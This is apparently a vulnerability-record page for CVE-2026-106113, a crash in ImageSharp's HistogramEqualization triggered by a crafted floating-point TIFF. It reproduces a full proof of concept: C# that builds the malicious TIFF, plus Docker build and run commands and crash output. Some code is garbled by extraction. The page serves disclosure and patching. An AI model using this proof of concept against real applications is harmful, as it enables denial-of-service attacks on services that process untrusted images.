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Response snapshot Oct 27, 2026, 01:01 UTC

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VulnerabilityCVE-2026-106113

ImageSharp: HistogramEqualization uses an unvalidated luminance as an unchecked histogram index

`SixLabors.ImageSharp` can terminate a process when an application decodes an attacker-supplied 32-bit floating-point TIFF as `Image ` and applies `HistogramEqualization()`.

Published Updated

At a glance

Exploited
Not known
Severity
7.5 High (CVSS 3.1)
Chance of exploitation
0.4% in the next 30 days
Sources
1 source

What to do

GitHub lists first patched versions: SixLabors.ImageSharp: 3.2.0; SixLabors.ImageSharp: 4.1.2. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-j3p4-wp97-rph4 (opens a new tab)

What happened

### Summary

`SixLabors.ImageSharp` can terminate a process when an application decodes an attacker-supplied 32-bit floating-point TIFF as `Image ` and applies `HistogramEqualization()`. An IEEE positive-infinity TIFF sample reaches a non-finite or otherwise out-of-range `HalfVector4` component, depending on the release. The histogram equalization path derives a luminance-based histogram index without validating that result, reaching an unsafe out-of-range access.

This report covers `HistogramEqualization` only. It does not claim Adaptive Histogram Equalization or AutoLevel behavior.

### Affected package and versions

Continue reading

- Package: `SixLabors.ImageSharp` (NuGet) - Affected range: `>= 2.0.0, Fatal error. System.AccessViolationException: Attempted to read or write protected memory. ... at SixLabors.ImageSharp.Processing.Processors.Normalization.GrayscaleLevelsRowOperation`1.Invoke ... at SixLabors.ImageSharp.Processing.HistogramEqualizationExtensions.HistogramEqualization Docker exit status: 133 ```

The control is identical except samples are `0.5`:

```text mode=control tiffBytes=166 sample=0.5 decoded=8x1 pixel= completed Docker exit status: 0 ```

When the same exploit binary was invoked through a shell inside the container, the shell printed `Aborted` and reported status 134. The direct `docker run` result above is the result for the supplied Docker commands.

No active exploitation is known.

### Complete PoC files

Program.cs:

```csharp using SixLabors.ImageSharp; using SixLabors.ImageSharp.PixelFormats; using SixLabors.ImageSharp.Processing;

static class Program { private static void AddEntry(List ifd, ushort tag, ushort type, uint count, uint value) { ifd.AddRange(BitConverter.GetBytes(tag)); ifd.AddRange(BitConverter.GetBytes(type)); ifd.AddRange(BitConverter.GetBytes(count)); ifd.AddRange(BitConverter.GetBytes(value)); }

// Valid, uncompressed 8x1 grayscale TIFF containing 32-bit IEEE float samples. private static byte[] BuildTiff(float sample) { const int width = 8; const int entries = 10; const int ifdOffset = 8; const int pixelOffset = ifdOffset + 2 + (entries * 12) + 4; List file = [0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00]; List ifd = []; ifd.AddRange(BitConverter.

GetBytes((ushort)entries)); const ushort Short = 3, Long = 4; AddEntry(ifd, 256, Long, 1, width); // ImageWidth AddEntry(ifd, 257, Long, 1, 1); // ImageLength AddEntry(ifd, 258, Short, 1, 32); // BitsPerSample AddEntry(ifd, 259, Short, 1, 1); // Compression = none AddEntry(ifd, 262, Short, 1, 1); // Photometric = BlackIsZero AddEntry(ifd, 273, Long, 1, pixelOffset); // StripOffsets AddEntry(ifd, 277, Short, 1, 1); // SamplesPerPixel AddEntry(ifd, 278, Long, 1, 1); // RowsPerStrip AddEntry(ifd, 279, Long, 1, width * 4); // StripByteCounts AddEntry(ifd, 339, Short, 1, 3); // SampleFormat = IEEE float ifd.

AddRange([0, 0, 0, 0]); file.AddRange(ifd); for (int i = 0; i image = Image.Load (tiff); Console.Error.WriteLine($"decoded={image.Width}x{image.Height} pixel={image[0, 0].ToScaledVector4()}"); image.Mutate(x => x.HistogramEqualization()); Console.Error.WriteLine("completed"); } }

```

Project file:

```xml

Exe net8.0 enable enable

/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll

/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll

```

Dockerfile:

```dockerfile FROM mcr.microsoft.com/dotnet/sdk:8.0 WORKDIR /work COPY j3p4.csproj Program.cs ./ RUN printf '%s\n' ' net8.0 ' > fetch.csproj \ && dotnet restore fetch.csproj --nologo \ && rm fetch.csproj \ && dotnet build j3p4.csproj -c Release --nologo -v quiet ENTRYPOINT ["dotnet", "/work/bin/Release/net8.0/j3p4.dll"]

```

Run:

```sh docker build -t imagesharp-j3p4-poc . docker run --rm imagesharp-j3p4-poc exploit docker run --rm imagesharp-j3p4-poc control ```

Affected package ranges reported by GitHub: SixLabors.ImageSharp: >= 2.0.0, < 3.2.0 SixLabors.ImageSharp: >= 4.0.0, < 4.1.2

Scores and how they were measured

CVSS base severity

7.5

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.4%

Scored Percentile 32.9%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-j3p4-wp97-rph4 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-j3p4-wp97-rph4, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-106113, scored 2026-10-26. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 26). ImageSharp: HistogramEqualization uses an unvalidated luminance as an unchecked histogram index (CVE-2026-106113). https://kevwire.com/record/CVE-2026-106113

MLA

"ImageSharp: HistogramEqualization uses an unvalidated luminance as an unchecked histogram index (CVE-2026-106113)." KEVWire, 26 Oct. 2026, kevwire.com/record/CVE-2026-106113.

Chicago

KEVWire. "ImageSharp: HistogramEqualization uses an unvalidated luminance as an unchecked histogram index (CVE-2026-106113)." Last modified October 26, 2026. https://kevwire.com/record/CVE-2026-106113.

Evidence summary (plain text)

ImageSharp: HistogramEqualization uses an unvalidated luminance as an unchecked histogram index (Oct 7, 2026).
`SixLabors.ImageSharp` can terminate a process when an application decodes
an attacker-supplied 32-bit floating-point TIFF as `Image ` and applies
`HistogramEqualization()`. An IEEE positive-infinity TIFF sample reaches a non-finite or otherwise out-of-range
`HalfVector4` component, depending on the release. The histogram equalization path derives a luminance-based
histogram index without validating that result, reaching an unsafe out-of-range
access.

This report covers `HistogramEqualization` only. It does not claim Adaptive
Histogram Equalization or AutoLevel behavior.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-j3p4-wp97-rph4).
EPSS 0.4% for the following 30 days, scored Oct 26, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-106113&date=2026-10-26).
Sources:
GitHub-reviewed advisory GHSA-j3p4-wp97-rph4: https://github.com/advisories/GHSA-j3p4-wp97-rph4
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-106113&date=2026-10-26
Record ID: CVE-2026-106113.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 26, 2026, 19:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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